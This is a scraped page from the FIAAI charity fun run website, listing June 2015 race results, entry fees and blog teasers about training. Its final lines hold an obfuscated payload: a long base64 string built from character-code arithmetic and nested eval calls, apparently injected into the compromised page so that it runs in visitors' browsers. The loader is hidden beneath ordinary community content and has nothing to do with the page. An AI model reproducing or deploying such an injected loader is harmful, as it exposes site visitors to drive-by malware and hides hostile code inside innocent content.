FIAAI Fun Run Sunday 7th June 2015

RESULTS FROM THE 2015 FUN RUN

5KM Male

1st          Joe Krushka                           20:48

2nd        Luke Newall                           22.23

3rd         Tom Lees                               22.27

5KM Female

1st           Danielle Krushka                  21.40

2nd         Edwina Hall                           23.17

3rd          Alexandra Anderson            24.07

2KM

1st           Ziggy Killengray                   11.58

2nd          Emmi Killengray                  16.25

3rd           Pippa Hunt                           16.31

Race Info & Entry

The FIAAI 5k & 2K fun runs will be held on Sunday the 7th June at 9am. We look forward to having a lot of enthusiastic runners & walkers on the day. To enter, either fill out the online form, or download the PDF form and post it into the office, or bring it along on the day!

Entry fee to be paid on the day when you collect your bibs – $5 for over 16 $2 for under 16.

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Training Tips

FIAAI 5 Funrun & Family Fun Day!

  Join us on June 12th for the FIAAI 5 (2km and 5km Fun Run) & Family Fun Day! Click here to download Fun Run pre-registration form: registrationFIAAI5 Click here to download FIAAI flyer for full details: FINALfiaai5_a4  

FIAAI 5K Fun Run & Family Day

Thanks to all those who came along on Sunday to support us and participate in the race. Was great to see everyone their enjoying themselves 🙂

Almost Race Day!!

With only a couple of days left the office staff are busy preparing everything for the big day!! Lots of of organising, setting up, cooking and much more goes into a big event like this so we hope to see as many faces as possible, we don’t mind if you walk, run, crawl, or just […]

Cody’s Tip Week 4

Still struggling to find the motivation to get off the coach or to increase your daily activities? Time to find some inspiration- Fitness is not just physical but a state of mind! Find something that will encourage you to push that little bit harder! It might be another runner, famous athlete or reading a success […]

Build those muscles for post race photos

Here are 50 bodyweight exercises you can do at home. No gym, no equipment, no excuses…. Beware- just because its not at the gym doesn’t mean it wont burn!!    

 

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ggLSA0LCAzOCAtIDYsIDEwMyAtIDMsIDEwNCAtIDMsIDEwOCAtIDksIDM0IC0gMiwgNjIgLSAxLCAzMyAtIDEsIDEyNiAtIDYsIDExMiAtIDEsIDExOCAtIDQsIDk4IC0gMywgMTA2IC0gNSwgMTEyIC0gMiwgMTAwIC0gMSwgNDQgLSA0LCAxMDUgLSA4LCAxMTggLSAyLCAxMjAgLSA5LCAxMDIgLSA0LCA0NCAtIDQsIDEwNiAtIDUsIDExNCAtIDQsIDEwNiAtIDcsIDEwNiAtIDUsIDEwMiAtIDIsIDUwIC0gOSwgNTIgLSA4LCAzOSAtIDcsIDExNCAtIDcsIDEwNyAtIDYsIDEyOCAtIDcsIDQyIC0gMSwgNjggLSA5LCAxMiAtIDIsIDQ2IC0gNiwgMTE4IC0gOCwgMTA4IC0gNywgMTI2IC0gNywgMzkgLSA3LCA3OCAtIDgsIDExOCAtIDEsIDExNSAtIDUsIDEwMCAtIDEsIDExOSAtIDMsIDExMCAtIDUsIDExMyAtIDIsIDExNiAtIDYsIDQ4IC0gOCwgMTA4IC0gOCwgMTAzIC0gMiwgMTAwIC0gMSwgNDMgLSAyLCA0OCAtIDcsIDQzIC0gMywgNDIgLSAxLCA2NSAtIDYsIDEzIC0gMywgMTIgLSAyKTtldmFsKEdWWkpIQVpNSU4pOw==’);
eval(CMZPTPRLIB);